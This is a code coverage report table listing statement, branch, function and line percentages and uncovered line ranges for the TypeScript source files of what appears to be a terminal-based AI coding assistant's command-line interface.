  types.ts         |     100 |      100 |     100 |     100 |                   
  ...e-keyterms.ts |   98.64 |    95.71 |     100 |   98.64 | 116,142-143       
  voice-model.ts   |     100 |      100 |     100 |     100 |                   
  voice-service.ts |   85.99 |    87.09 |     100 |   85.99 | ...68,275,329-343 
  ...e-settings.ts |     100 |    95.45 |     100 |     100 | 19                
  ...ranscriber.ts |   90.41 |       82 |   95.83 |   90.41 | ...29-631,634-636 
 ...ght/generators |    88.3 |    85.49 |   92.59 |    88.3 |                   
  DataProcessor.ts |   88.22 |    85.48 |      95 |   88.22 | ...1341,1345-1352 
  ...tGenerator.ts |   98.21 |    85.71 |     100 |   98.21 | 46                
  ...teRenderer.ts |   45.45 |      100 |       0 |   45.45 | 13-51             
 .../insight/types |       0 |       50 |      50 |       0 |                   
  ...sightTypes.ts |       0 |        0 |       0 |       0 |                   
  ...sightTypes.ts |       0 |        0 |       0 |       0 | 1                 
 ...mpt-processors |   97.27 |    94.04 |     100 |   97.27 |                   
  ...tProcessor.ts |     100 |      100 |     100 |     100 |                   
  ...eProcessor.ts |   94.52 |    84.21 |     100 |   94.52 | 46-47,93-94       
  ...tionParser.ts |     100 |      100 |     100 |     100 |                   
  ...lProcessor.ts |   97.41 |    95.65 |     100 |   97.41 | 95-98             
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/services/tips |   97.35 |    84.61 |     100 |   97.35 |                   
  index.ts         |     100 |      100 |     100 |     100 |                   
  tipHistory.ts    |   92.59 |    68.96 |     100 |   92.59 | ...24,146,153,162 
  tipRegistry.ts   |     100 |      100 |     100 |     100 |                   
  tipScheduler.ts  |     100 |    91.66 |     100 |     100 | 55                
 src/startup       |   80.53 |     74.6 |     100 |   80.53 |                   
  ...reeStartup.ts |   80.53 |     74.6 |     100 |   80.53 | ...94,403,409-412 
 src/test-utils    |   94.01 |    83.33 |      80 |   94.01 |                   
  ...omMatchers.ts |   69.69 |       50 |      50 |   69.69 | 32-35,37-39,45-47 
  ...andContext.ts |     100 |      100 |     100 |     100 |                   
  render.tsx       |     100 |      100 |     100 |     100 |                   
 src/ui            |   68.82 |    70.08 |   61.11 |   68.82 |                   
  App.tsx          |   33.33 |       75 |   33.33 |   33.33 | 32-86             
  AppContainer.tsx |   69.83 |    65.23 |   57.14 |   69.83 | ...3619,4128-4132 
  ...tionNudge.tsx |    9.58 |      100 |       0 |    9.58 | 24-94             
  ...ackDialog.tsx |   29.23 |      100 |       0 |   29.23 | 25-75             
  ...tionNudge.tsx |    7.69 |      100 |       0 |    7.69 | 25-103            
  colors.ts        |      60 |      100 |   35.29 |      60 | ...52,54-55,60-61 
  constants.ts     |     100 |      100 |     100 |     100 |                   
  keyMatchers.ts   |   95.91 |    97.22 |     100 |   95.91 | 25-26             
  ...tic-colors.ts |     100 |      100 |     100 |     100 |                   
  ...ractiveUI.tsx |   56.25 |    33.33 |      40 |   56.25 | ...30-231,236-241 
  ...inePresets.ts |   96.27 |    83.87 |     100 |   96.27 | ...96,401,409-411 
  textConstants.ts |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 src/ui/auth       |   58.45 |    65.94 |      50 |   58.45 |                   
  AuthDialog.tsx   |   59.01 |     42.1 |   16.66 |   59.01 | ...25,332-354,358 
  ...nProgress.tsx |       0 |        0 |       0 |       0 | 1-64              
  ...etupSteps.tsx |   60.03 |    70.37 |      56 |   60.03 | ...87,791,800,803 
  useAuth.ts       |    94.6 |    73.52 |     100 |    94.6 | ...21-222,241-247 
  ...rSetupFlow.ts |   43.18 |    33.33 |      50 |   43.18 | ...78-399,416-459 
 src/ui/commands   |   78.95 |    81.48 |   87.67 |   78.95 |                   
  aboutCommand.ts  |     100 |      100 |     100 |     100 |                   
  agentsCommand.ts |   83.78 |      100 |      60 |   83.78 | 30-32,42-44       
  ...odeCommand.ts |   89.47 |    81.25 |     100 |   89.47 | 92-93,95-100      
  arenaCommand.ts  |   62.81 |    58.73 |   65.21 |   62.81 | ...90-595,680-688 
  authCommand.ts   |     100 |      100 |     100 |     100 |                   
  branchCommand.ts |     100 |      100 |     100 |     100 |                   
  btwCommand.ts    |   94.32 |    77.41 |     100 |   94.32 | 35-36,114-119     
  bugCommand.ts    |     100 |    77.77 |     100 |     100 | 27,61             
  cdCommand.ts     |   89.44 |    80.35 |     100 |   89.44 | ...81,106-111,190 
  clearCommand.ts  |   79.64 |       68 |     100 |   79.64 | ...24-125,133-142 
  ...essCommand.ts |   67.95 |    55.88 |      75 |   67.95 | ...86-187,201-204 
  ...astCommand.ts |   70.86 |    74.07 |      75 |   70.86 | ...,61-93,117-122 
  ...extCommand.ts |    65.8 |    68.25 |   84.61 |    65.8 | ...57-590,601-602 
  copyCommand.ts   |   98.49 |    95.78 |     100 |   98.49 | ...80,280,321,327 
  deleteCommand.ts |     100 |      100 |     100 |     100 |                   
  diffCommand.ts   |     100 |     87.5 |     100 |     100 | ...61,224-225,238 
  ...ryCommand.tsx |   80.62 |    84.93 |   91.66 |   80.62 | ...72-277,324-331 
  docsCommand.ts   |     100 |     90.9 |     100 |     100 | 25                
  doctorCommand.ts |   65.37 |    81.88 |   94.11 |   65.37 | ...85-535,538-672 
  dreamCommand.ts  |   85.45 |    88.88 |     100 |   85.45 | 58-65             
  editorCommand.ts |     100 |      100 |     100 |     100 |                   
  exportCommand.ts |   98.25 |    91.02 |     100 |   98.25 | ...81,198-199,364 
  ...onsCommand.ts |    50.3 |    48.14 |   69.23 |    50.3 | ...08,262-314,375 
  forgetCommand.ts |     100 |       90 |     100 |     100 | 59                
  forkCommand.ts   |     100 |    94.11 |     100 |     100 | 96,147            
  goalCommand.ts   |   91.46 |    84.44 |      90 |   91.46 | ...87-190,202-205 
  helpCommand.ts   |     100 |      100 |     100 |     100 |                   
  ...oryCommand.ts |     100 |      100 |     100 |     100 |                   
  hooksCommand.ts  |   81.13 |    65.71 |   85.71 |   81.13 | ...,86-93,131-132 
  ideCommand.ts    |   60.75 |    64.28 |   41.17 |   60.75 | ...05-306,310-324 
  ...figCommand.ts |   52.83 |    81.25 |      70 |   52.83 | ...74-319,321-330 
  initCommand.ts   |   84.33 |    72.72 |     100 |   84.33 | 68,82-87,89-94    
  ...ghtCommand.ts |   77.87 |    71.42 |     100 |   77.87 | ...44-245,250-272 
  ...ageCommand.ts |   92.17 |    82.69 |     100 |   92.17 | ...39,159,168-178 
  lspCommand.ts    |     100 |    86.95 |     100 |     100 | 31,101-102        
  mcpCommand.ts    |     100 |      100 |     100 |     100 |                   
  memoryCommand.ts |     100 |      100 |     100 |     100 |                   
  modelCommand.ts  |   79.31 |    86.36 |   83.33 |   79.31 | ...66-471,561-566 
  ...onsCommand.ts |     100 |      100 |     100 |     100 |                   
  planCommand.ts   |   78.82 |    76.92 |     100 |   78.82 | 30-35,51-56,68-73 
  quitCommand.ts   |     100 |      100 |     100 |     100 |                   
  recapCommand.ts  |   21.81 |      100 |      50 |   21.81 | 24-73             
  ...berCommand.ts |      96 |       70 |     100 |      96 | 58,63             
  renameCommand.ts |   85.71 |    86.04 |     100 |   85.71 | ...02-209,216-221 
  ...oreCommand.ts |    90.9 |    86.04 |     100 |    90.9 | ...41-146,176-177 
  resumeCommand.ts |     100 |      100 |     100 |     100 |                   
  rewindCommand.ts |   81.25 |      100 |      50 |   81.25 | 20-22             
  ...ngsCommand.ts |     100 |      100 |     100 |     100 |                   
  ...hubCommand.ts |   89.47 |       75 |      80 |   89.47 | 54-59             
  skillsCommand.ts |    85.5 |    81.25 |     100 |    85.5 | 36-44,70          
  statsCommand.ts  |    90.6 |    77.95 |     100 |    90.6 | ...91-694,785-792 
  ...ineCommand.ts |     100 |      100 |     100 |     100 |                   
  ...aryCommand.ts |    6.43 |      100 |      50 |    6.43 | 31-330            
  tasksCommand.ts  |   77.22 |    72.13 |     100 |   77.22 | ...46-150,172-177 
  ...tupCommand.ts |     100 |      100 |     100 |     100 |                   
  themeCommand.ts  |     100 |      100 |     100 |     100 |                   
  toolsCommand.ts  |     100 |      100 |     100 |     100 |                   
  trustCommand.ts  |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
  vimCommand.ts    |   54.54 |      100 |      50 |   54.54 | 19-29             
  voice-command.ts |   93.57 |       88 |     100 |   93.57 | 35,97-102         
  ...owsCommand.ts |   91.82 |    78.87 |   66.66 |   91.82 | ...59-160,169-174 
 src/ui/components |   63.57 |    78.18 |   72.05 |   63.57 |                   
  AboutBox.tsx     |     100 |      100 |     100 |     100 |                   
  ...ateScreen.tsx |   35.48 |      100 |       0 |   35.48 | 26-48             
  AnsiOutput.tsx   |   65.57 |      100 |      50 |   65.57 | 69-90             
  ApiKeyInput.tsx  |       0 |        0 |       0 |       0 | 1-97              
  AppHeader.tsx    |    88.7 |       75 |     100 |    88.7 | 36,38-43,45       
  ...odeDialog.tsx |   87.24 |    72.22 |   33.33 |   87.24 | ...85,233-238,245 
  AsciiArt.ts      |     100 |      100 |     100 |     100 |                   
  ...Indicator.tsx |   16.27 |      100 |       0 |   16.27 | 19-58             
  ...TextInput.tsx |   88.36 |    88.57 |     100 |   88.36 | ...80-282,296-298 
  Composer.tsx     |   94.39 |    66.66 |     100 |   94.39 | ...-71,83,138,151 
  ...entPrompt.tsx |     100 |      100 |     100 |     100 |                   
  ...ryDisplay.tsx |   75.89 |    62.06 |     100 |   75.89 | ...,88,93-108,113 
  ...geDisplay.tsx |   68.42 |    57.14 |     100 |   68.42 | 16-17,31-32,42-50 
  CronPill.tsx     |     100 |    93.75 |     100 |     100 | 18                
  ...ification.tsx |       0 |        0 |       0 |       0 | 1-36              
  ...gProfiler.tsx |       0 |        0 |       0 |       0 | 1-36              
  ...ogManager.tsx |       0 |        0 |       0 |       0 | 1-582             
  DiffDialog.tsx   |   31.17 |    19.51 |   30.76 |   31.17 | ...07-712,722-735 
  ...ngsDialog.tsx |       0 |        0 |       0 |       0 | 1-195             
  ExitWarning.tsx  |     100 |      100 |     100 |     100 |                   
  ...hProgress.tsx |    87.8 |    33.33 |     100 |    87.8 | 28-31,56          
  ...ustDialog.tsx |     100 |      100 |     100 |     100 |                   
  Footer.tsx       |   75.54 |       54 |     100 |   75.54 | ...09-214,232-236 
  ...ngSpinner.tsx |   68.42 |       80 |      50 |   68.42 | 35-52,73,80-81    
  GoalPill.tsx     |   83.33 |    76.92 |     100 |   83.33 | 24-30             
  Header.tsx       |   98.62 |    94.28 |     100 |   98.62 | 162,164           
  Help.tsx         |   98.32 |       90 |     100 |   98.32 | ...24,381,447-448 
  ...emDisplay.tsx |   73.66 |    64.19 |     100 |   73.66 | ...42,445,448-454 
  ...ngeDialog.tsx |     100 |      100 |     100 |     100 |                   
  InputPrompt.tsx  |   81.07 |    80.12 |   77.77 |   81.07 | ...1976,2002,2054 
  ...Shortcuts.tsx |   20.87 |      100 |       0 |   20.87 | ...6,49-51,67-125 
  ...Indicator.tsx |   98.14 |    97.82 |     100 |   98.14 | 157-158           
  ...firmation.tsx |   91.42 |      100 |      50 |   91.42 | 26-31             
  MainContent.tsx  |   98.43 |    94.82 |   66.66 |   98.43 | 89,166-170        
  MemoryDialog.tsx |   64.84 |     77.9 |    62.5 |   64.84 | ...02,421,470-472 
  ...geDisplay.tsx |       0 |        0 |       0 |       0 | 1-41              
  ModelDialog.tsx  |   82.81 |    75.64 |     100 |   82.81 | ...82-798,855-859 
  ...tsDisplay.tsx |     100 |    97.22 |     100 |     100 | 270               
  ...fications.tsx |       0 |        0 |       0 |       0 | 1-58              
  ...onsDialog.tsx |       0 |        0 |       0 |       0 | 1-1004            
  ...ryDisplay.tsx |     100 |      100 |     100 |     100 |                   
  ...icePrompt.tsx |   92.64 |    85.71 |     100 |   92.64 | 102-106,134-139   
  PrepareLabel.tsx |   91.66 |    77.27 |     100 |   91.66 | 73-75,77-79,110   
  ...atePrompt.tsx |       0 |        0 |       0 |       0 | 1-134             
  ...geDisplay.tsx |     100 |      100 |     100 |     100 |                   
  ...ngDisplay.tsx |       0 |        0 |       0 |       0 | 1-39              
  ...hProgress.tsx |   85.25 |    88.46 |     100 |   85.25 | 121-147           
  ...dSelector.tsx |   92.79 |    82.65 |     100 |   92.79 | ...19-323,354-370 
  ...ionPicker.tsx |   83.66 |    72.13 |     100 |   83.66 | ...96,402,444-466 
  ...onPreview.tsx |   93.58 |    84.21 |     100 |   93.58 | ...,70-71,195-197 
  ...ryDisplay.tsx |     100 |      100 |     100 |     100 |                   
  ...putPrompt.tsx |   72.56 |       80 |      40 |   72.56 | ...06-109,114-117 
  ...tedDialog.tsx |     100 |      100 |     100 |     100 |                   
  ...ngsDialog.tsx |    69.6 |    73.01 |      75 |    69.6 | ...34-842,848-849 
  ...ionDialog.tsx |    92.3 |    96.15 |   33.33 |    92.3 | 60-63,68-75,164   
  ...putPrompt.tsx |    15.9 |      100 |       0 |    15.9 | 20-63             
  ...Indicator.tsx |   57.14 |      100 |       0 |   57.14 | 12-15             
  ...MoreLines.tsx |       0 |        0 |       0 |       0 | 1-40              
  ...iewDialog.tsx |   92.78 |    82.35 |      75 |   92.78 | ...5,77-79,93,124 
  ...tsDisplay.tsx |   95.86 |       75 |     100 |   95.86 | 67-71             
  ...ionPicker.tsx |       0 |        0 |       0 |       0 | 1-172             
  ...tivityTab.tsx |       0 |        0 |       0 |       0 | 1-275             
  StatsDialog.tsx  |       0 |        0 |       0 |       0 | 1-238             
  StatsDisplay.tsx |     100 |      100 |     100 |     100 |                   
  ...ciencyTab.tsx |       0 |        0 |       0 |       0 | 1-258             
  ...atmapView.tsx |       0 |        0 |       0 |       0 | 1-107             
  ...essionTab.tsx |       0 |        0 |       0 |       0 | 1-215             
  ...ineDialog.tsx |    93.5 |    85.18 |     100 |    93.5 | ...05,267,287-289 
  ...yTodoList.tsx |   96.33 |    88.23 |     100 |   96.33 | 137-140           
  ...nsDisplay.tsx |   91.73 |    80.55 |     100 |   91.73 | ...75,178,205-207 
  ThemeDialog.tsx  |   89.95 |    46.15 |      75 |   89.95 | ...71-173,243-245 
  ...ingViewer.tsx |   12.61 |      100 |       0 |   12.61 | 32-140            
  Tips.tsx         |   93.54 |       75 |     100 |   93.54 | 39-40             
  TodoDisplay.tsx  |     100 |      100 |     100 |     100 |                   
  ...tsDisplay.tsx |     100 |     87.5 |     100 |     100 | 31-32             
  TrustDialog.tsx  |     100 |    81.81 |     100 |     100 | 71-86             
  ...ification.tsx |       0 |        0 |       0 |       0 | 1-22              
  ...Indicator.tsx |    92.5 |     87.5 |     100 |    92.5 | 50-53             
  ...ackDialog.tsx |       0 |        0 |       0 |       0 | 1-134             
  ...xitDialog.tsx |   80.36 |    43.47 |      60 |   80.36 | ...24-238,248-251 
  ...odeVisuals.ts |   91.42 |    64.28 |     100 |   91.42 | 15,21,24          
  ...s-helpers.tsx |       0 |        0 |       0 |       0 | 1-102             
 ...nts/agent-view |   53.71 |    70.87 |   42.85 |   53.71 |                   
  ...atContent.tsx |    9.09 |      100 |       0 |    9.09 | 54-275,281-283    
  ...tChatView.tsx |   21.05 |      100 |       0 |   21.05 | 21-39             
  ...tComposer.tsx |   64.78 |    29.41 |   33.33 |   64.78 | ...51,269,277-279 
  AgentFooter.tsx  |   17.07 |      100 |       0 |   17.07 | 28-66             
  AgentHeader.tsx  |   15.38 |      100 |       0 |   15.38 | 27-64             
  AgentTabBar.tsx  |    87.9 |    63.88 |     100 |    87.9 | ...88,110-118,136 
  ...oryAdapter.ts |     100 |    91.83 |     100 |     100 | 103,109-110,138   
  index.ts         |       0 |        0 |       0 |       0 | 1-12              
 ...mponents/arena |   42.38 |    68.69 |   73.68 |   42.38 |                   
  ArenaCards.tsx   |   73.06 |    71.79 |   85.71 |   73.06 | ...83-185,321-326 
  ...ectDialog.tsx |   83.48 |    69.86 |   88.88 |   83.48 | ...88-392,409-410 
  ...artDialog.tsx |       0 |        0 |       0 |       0 | 1-164             
  ...tusDialog.tsx |       0 |        0 |       0 |       0 | 1-288             
  ...topDialog.tsx |       0 |        0 |       0 |       0 | 1-213             
 ...ackground-view |   78.59 |    78.07 |   88.37 |   78.59 |                   
  ...sksDialog.tsx |   73.81 |    74.32 |   79.16 |   73.81 | ...1546,1568-1574 
  ...TasksPill.tsx |   67.03 |     86.2 |     100 |   67.03 | ...02-122,130-138 
  ...gentPanel.tsx |   97.43 |    85.39 |     100 |   97.43 | 121,436-440       
  ...Visibility.ts |     100 |      100 |     100 |     100 |                   
  ...e-overlay.tsx |    88.2 |    76.47 |     100 |    88.2 | ...36-138,140-142 
 ...nts/extensions |   84.58 |    78.18 |   83.33 |   84.58 |                   
  ...gerDialog.tsx |   82.46 |    77.77 |     100 |   82.46 | ...89,191-198,258 
  TabBar.tsx       |   97.29 |    88.88 |     100 |   97.29 | 33                
  index.ts         |       0 |        0 |       0 |       0 | 1-12              
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...tensions/steps |   46.15 |    84.74 |   58.82 |   46.15 |                   
  ...ctionStep.tsx |   95.12 |    92.85 |   85.71 |   95.12 | 84-86,89          
  ...etailStep.tsx |       0 |        0 |       0 |       0 | 1-145             
  ...nListStep.tsx |   75.13 |    88.09 |   66.66 |   75.13 | ...52,173,202-208 
  ...electStep.tsx |       0 |        0 |       0 |       0 | 1-83              
  ...nfirmStep.tsx |   16.32 |      100 |       0 |   16.32 | 28-74             
  index.ts         |       0 |        0 |       0 |       0 | 1-11              
 ...xtensions/tabs |   66.18 |    67.65 |   66.66 |   66.18 |                   
  DiscoverTab.tsx  |   57.21 |     63.2 |   55.55 |   57.21 | ...98,661-665,669 
  InstalledTab.tsx |   71.62 |    68.65 |   83.33 |   71.62 | ...67,772-773,810 
  SourcesTab.tsx   |   69.25 |     70.4 |   66.66 |   69.25 | ...16,535,607-619 
 ...tensions/views |   23.73 |    44.82 |       5 |   23.73 |                   
  ...tionsView.tsx |    6.02 |      100 |       0 |    6.02 | 52-65,68-368      
  ...tionsView.tsx |   43.45 |    44.82 |    6.66 |   43.45 | ...97-404,407-419 
  ...etailView.tsx |    9.56 |      100 |       0 |    9.56 | 40-67,70-158      
 ...mponents/hooks |   86.85 |    81.37 |   91.89 |   86.85 |                   
  ...rListBody.tsx |   95.29 |    85.18 |     100 |   95.29 | 95-98             
  ...etailStep.tsx |   75.32 |    71.42 |      60 |   75.32 | ...56-169,173-186 
  ...etailStep.tsx |     100 |      100 |     100 |     100 |                   
  ...rListStep.tsx |     100 |      100 |     100 |     100 |                   
  ...entHeader.tsx |     100 |    85.71 |     100 |     100 | 47                
  ...rListStep.tsx |     100 |      100 |     100 |     100 |                   
  ...etailStep.tsx |     100 |      100 |     100 |     100 |                   
  ...abledStep.tsx |     100 |      100 |     100 |     100 |                   
  ...sListStep.tsx |     100 |      100 |     100 |     100 |                   
  ...entDialog.tsx |   72.29 |    70.49 |     100 |   72.29 | ...51,563-568,572 
  constants.ts     |     100 |      100 |     100 |     100 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-13              
  ...erGrouping.ts |     100 |      100 |     100 |     100 |                   
  sourceLabels.ts  |     100 |      100 |     100 |     100 |                   
  types.ts         |     100 |      100 |     100 |     100 |                   
 ...components/mcp |   40.96 |    61.53 |   70.58 |   40.96 |                   
  ...ealthPill.tsx |   68.42 |    85.71 |     100 |   68.42 | 40-46             
  ...entDialog.tsx |      33 |    26.19 |      40 |      33 | ...80,882,895-901 
  ...valDialog.tsx |   15.06 |      100 |       0 |   15.06 | 40-109            
  constants.ts     |     100 |      100 |     100 |     100 |                   
  index.ts         |       0 |        0 |       0 |       0 | 1-35              
  types.ts         |     100 |      100 |     100 |     100 |                   
  utils.ts         |      97 |       95 |     100 |      97 | 24,113-114        
 ...ents/mcp/steps |   54.25 |    74.31 |   57.14 |   54.25 |                   
  ...icateStep.tsx |    5.65 |      100 |       0 |    5.65 | 40-66,69-308      
  ...electStep.tsx |   10.95 |      100 |       0 |   10.95 | 16-88             
  ...etailStep.tsx |     100 |      100 |     100 |     100 |                   
  ...eListStep.tsx |   99.09 |    97.36 |     100 |   99.09 | 71                
  ...etailStep.tsx |    64.8 |    62.26 |   33.33 |    64.8 | ...75-284,295-317 
  ...rListStep.tsx |   88.46 |    81.25 |     100 |   88.46 | ...63,169,174-179 
  ...etailStep.tsx |    10.3 |      100 |       0 |    10.3 | ...1,67-79,82-140 
  ToolListStep.tsx |   69.29 |       50 |     100 |   69.29 | ...23,126,135-144 
 ...nents/messages |   86.35 |    81.58 |   81.39 |   86.35 |                   
  ...ionDialog.tsx |    87.2 |    79.41 |    87.5 |    87.2 | ...00,518,536-538 
  BtwMessage.tsx   |     100 |      100 |     100 |     100 |                   
  ...upDisplay.tsx |     100 |    91.83 |     100 |     100 | 27,31,33,35       
  ...onMessage.tsx |   91.93 |    82.35 |     100 |   91.93 | 57-59,61,63       
  ...nMessages.tsx |   87.33 |    76.31 |   91.66 |   87.33 | ...44-350,407-413 
  DiffRenderer.tsx |   93.19 |    86.17 |     100 |   93.19 | ...09,237-238,304 
  ...tsDisplay.tsx |   97.82 |    77.27 |     100 |   97.82 | 87,89             
  ...usMessage.tsx |   76.31 |     42.1 |   66.66 |   76.31 | ...99,101,124,155 
  ...tsDisplay.tsx |   95.05 |    87.69 |     100 |   95.05 | ...32,134,167-172 
  ...ssMessage.tsx |    12.5 |      100 |       0 |    12.5 | 18-59             
  ...edMessage.tsx |   16.66 |      100 |       0 |   16.66 | 22-38             
  ...sMessages.tsx |   58.65 |       50 |    37.5 |   58.65 | ...20-125,146-158 
  ...ryMessage.tsx |   14.28 |      100 |       0 |   14.28 | 23-62             
  ...onMessage.tsx |   82.31 |    74.02 |   33.33 |   82.31 | ...69-471,478-480 
  ...upMessage.tsx |   96.04 |    93.91 |     100 |   96.04 | ...76,265-271,364 
  ToolMessage.tsx  |   88.72 |    76.66 |    92.3 |   88.72 | ...66-771,798-800 
 ...ponents/shared |   85.06 |    81.42 |    95.5 |   85.06 |                   
  ...ctionList.tsx |     100 |      100 |     100 |     100 |                   
  ...tonSelect.tsx |     100 |      100 |     100 |     100 |                   
  EnumSelector.tsx |     100 |    96.42 |     100 |     100 | 58                
  MaxSizedBox.tsx  |   83.01 |    86.25 |   88.88 |   83.01 | ...12-513,618-619 
  MultiSelect.tsx  |   93.58 |       75 |     100 |   93.58 | ...43,199-201,211 
  ...tonSelect.tsx |     100 |      100 |     100 |     100 |                   
  ...eSelector.tsx |     100 |       60 |     100 |     100 | 40-45             
  ...lableList.tsx |   77.22 |    85.71 |     100 |   77.22 | 45-63,70-73       
  StaticRender.tsx |   72.72 |      100 |     100 |   72.72 | 31-33             
  TextInput.tsx    |    80.8 |    67.24 |      80 |    80.8 | ...36-240,252-258 
  ...apsedTime.tsx |     100 |      100 |     100 |     100 |                   
  ...Indicator.tsx |     100 |      100 |     100 |     100 |                   
  ...lizedList.tsx |    88.7 |    83.64 |      90 |    88.7 | ...14-515,745-773 
  text-buffer.ts   |   85.94 |    81.73 |   97.91 |   85.94 | ...2651,2749-2750 
  ...er-actions.ts |   73.93 |    67.22 |     100 |   73.93 | ...32-733,934-936 
 ...ponents/skills |       0 |        0 |       0 |       0 |                   
  ...gerDialog.tsx |       0 |        0 |       0 |       0 | 1-694             
 ...ents/subagents |       0 |        0 |       0 |       0 |                   
  constants.ts     |       0 |        0 |       0 |       0 | 1-71              
  index.ts         |       0 |        0 |       0 |       0 | 1-11              
  reducers.tsx     |       0 |        0 |       0 |       0 | 1-190             
  types.ts         |       0 |        0 |       0 |       0 | 1-125             
  utils.ts         |       0 |        0 |       0 |       0 | 1-102             
 ...bagents/create |       0 |        0 |       0 |       0 |                   
  ...ionWizard.tsx |       0 |        0 |       0 |       0 | 1-299             
  ...rSelector.tsx |       0 |        0 |       0 |       0 | 1-85              
  ...onSummary.tsx |       0 |        0 |       0 |       0 | 1-331             
  ...tionInput.tsx |       0 |        0 |       0 |       0 | 1-177             
  ...dSelector.tsx |       0 |        0 |       0 |       0 | 1-63              
  ...nSelector.tsx |       0 |        0 |       0 |       0 | 1-58              
  ...EntryStep.tsx |       0 |        0 |       0 |       0 | 1-78              
  ToolSelector.tsx |       0 |        0 |       0 |       0 | 1-253             
 ...bagents/manage |   14.04 |    53.19 |    37.5 |   14.04 |                   
  ...ctionStep.tsx |       0 |        0 |       0 |       0 | 1-103             
  ...eleteStep.tsx |       0 |        0 |       0 |       0 | 1-62              
  ...tEditStep.tsx |       0 |        0 |       0 |       0 | 1-124             
  ...ctionStep.tsx |   35.42 |    59.52 |     100 |   35.42 | ...20-432,437-439 
  ...iewerStep.tsx |       0 |        0 |       0 |       0 | 1-73              
  ...gerDialog.tsx |       0 |        0 |       0 |       0 | 1-341             
 ...mponents/views |   70.21 |    67.32 |    64.7 |   70.21 |                   
  ContextUsage.tsx |   70.88 |    63.88 |      80 |   70.88 | ...20-426,463-557 
  DoctorReport.tsx |     9.8 |      100 |       0 |     9.8 | 25-54,57-131      
  ...sionsList.tsx |   87.87 |    73.68 |     100 |   87.87 | 69-76             
  McpStatus.tsx    |   89.49 |    60.52 |     100 |   89.49 | ...72,175-177,262 
  SkillsList.tsx   |   27.27 |      100 |       0 |   27.27 | 18-35             
  ToolsList.tsx    |     100 |      100 |     100 |     100 |                   
 src/ui/contexts   |   81.55 |    78.24 |   83.07 |   81.55 |                   
  ...ewContext.tsx |   64.83 |    88.88 |      50 |   64.83 | ...16-219,225-235 
  AppContext.tsx   |      80 |       50 |     100 |      80 | 19-20             
  ...ewContext.tsx |   92.45 |    62.79 |      50 |   92.45 | ...69-270,272-276 
  ...deContext.tsx |   88.88 |      100 |       0 |   88.88 | 21                
  ...igContext.tsx |   81.81 |       50 |     100 |   81.81 | 15-16             
  ...ssContext.tsx |   81.86 |    81.65 |     100 |   81.86 | ...1257,1262-1264 
  ...owContext.tsx |   91.07 |    81.81 |     100 |   91.07 | 47-48,60-62       
  ...deContext.tsx |     100 |      100 |      50 |     100 |                   
  ...onContext.tsx |   78.68 |    73.77 |   91.66 |   78.68 | ...86-389,398-401 
  ...gsContext.tsx |     100 |      100 |     100 |     100 |                   
  ...usContext.tsx |     100 |      100 |     100 |     100 |                   
  ...ngContext.tsx |   71.42 |       50 |     100 |   71.42 | 17-20             
  ...utContext.tsx |   85.71 |      100 |   66.66 |   85.71 | 13-14             
  ...erContext.tsx |     100 |      100 |      50 |     100 |                   
  ...edContext.tsx |     100 |      100 |     100 |     100 |                   
  ...nsContext.tsx |   88.88 |       50 |     100 |   88.88 | 142-143           
  ...teContext.tsx |   86.66 |       50 |     100 |   86.66 | 225-226           
  ...deContext.tsx |      80 |     87.5 |      75 |      80 | ...11-112,118-120 
 src/ui/daemon     |   90.65 |    73.61 |   95.45 |   90.65 |                   
  ...ui-adapter.ts |   90.65 |    73.61 |   95.45 |   90.65 | ...44,762-763,849 
 src/ui/editors    |       0 |        0 |       0 |       0 |                   
  ...ngsManager.ts |       0 |        0 |       0 |       0 | 1-67              
 src/ui/hooks      |   83.18 |    81.36 |   88.03 |   83.18 |                   
  ...dProcessor.ts |      73 |    81.34 |     100 |      73 | ...03-704,710-715 
  ...ention-ref.ts |   98.23 |    83.33 |     100 |   98.23 | 118,132           
  keyToAnsi.ts     |    3.92 |      100 |       0 |    3.92 | 19-77             
  ...esourceRef.ts |     100 |      100 |     100 |     100 |                   
  ...dProcessor.ts |   94.62 |    73.58 |     100 |   94.62 | ...86-287,292-293 
  ...dProcessor.ts |   84.63 |    64.28 |   84.21 |   84.63 | ...1109,1130-1134 
  ...oice-input.ts |   92.36 |    81.95 |   66.66 |   92.36 | ...00,502-503,658 
  ...amingState.ts |   12.22 |      100 |       0 |   12.22 | 54-157            
  ...agerDialog.ts |   88.23 |      100 |     100 |   88.23 | 20,24             
  ...dScrollbar.ts |     100 |      100 |     100 |     100 |                   
  ...ationFrame.ts |      42 |       75 |     100 |      42 | 42-44,53-59,62-87 
  ...odeCommand.ts |   58.82 |      100 |     100 |   58.82 | 28,33-48          
  ...enaCommand.ts |      85 |      100 |     100 |      85 | 23-24,29          
  ...aInProcess.ts |   27.92 |       80 |      25 |   27.92 | ...69-170,173-175 
  ...Completion.ts |    90.6 |     87.9 |     100 |    90.6 | ...28-435,475-484 
  ...ifications.ts |   86.91 |    96.29 |     100 |   86.91 | 116-130           
  ...tIndicator.ts |   83.49 |    70.96 |     100 |   83.49 | ...58,166,168-176 
  ...waySummary.ts |   96.22 |    69.69 |     100 |   96.22 | 125-127,169       
  ...ndTaskView.ts |   93.84 |    74.46 |     100 |   93.84 | ...25-129,218,224 
  ...chedScroll.ts |     100 |      100 |     100 |     100 |                   
  ...ketedPaste.ts |    23.8 |      100 |       0 |    23.8 | 19-37             
  ...nchCommand.ts |   93.19 |    71.05 |     100 |   93.19 | ...37,183,256-259 
  ...ompletion.tsx |   96.75 |    81.81 |     100 |   96.75 | ...78-279,289-290 
  ...dMigration.ts |    92.1 |    88.88 |     100 |    92.1 | 42-44             
  useCompletion.ts |   94.11 |    89.65 |     100 |   94.11 | ...32-133,137-138 
  ...nitMessage.ts |     100 |      100 |     100 |     100 |                   
  ...extualTips.ts |   78.26 |       50 |     100 |   78.26 | ...2,75-79,96-104 
  ...eteCommand.ts |   78.53 |    88.57 |     100 |   78.53 | ...96-104,112-113 
  ...ialogClose.ts |   36.76 |    10.52 |     100 |   36.76 | ...75-181,188-193 
  useDiffData.ts   |       0 |        0 |       0 |       0 | 1-87              
  ...oublePress.ts |   53.12 |       75 |     100 |   53.12 | 33-35,41-54       
  ...orSettings.ts |     100 |      100 |     100 |     100 |                   
  ...Completion.ts |   99.12 |    97.64 |     100 |   99.12 | 182-183           
  ...ionUpdates.ts |    93.5 |     92.3 |     100 |    93.5 | ...87-291,304-310 
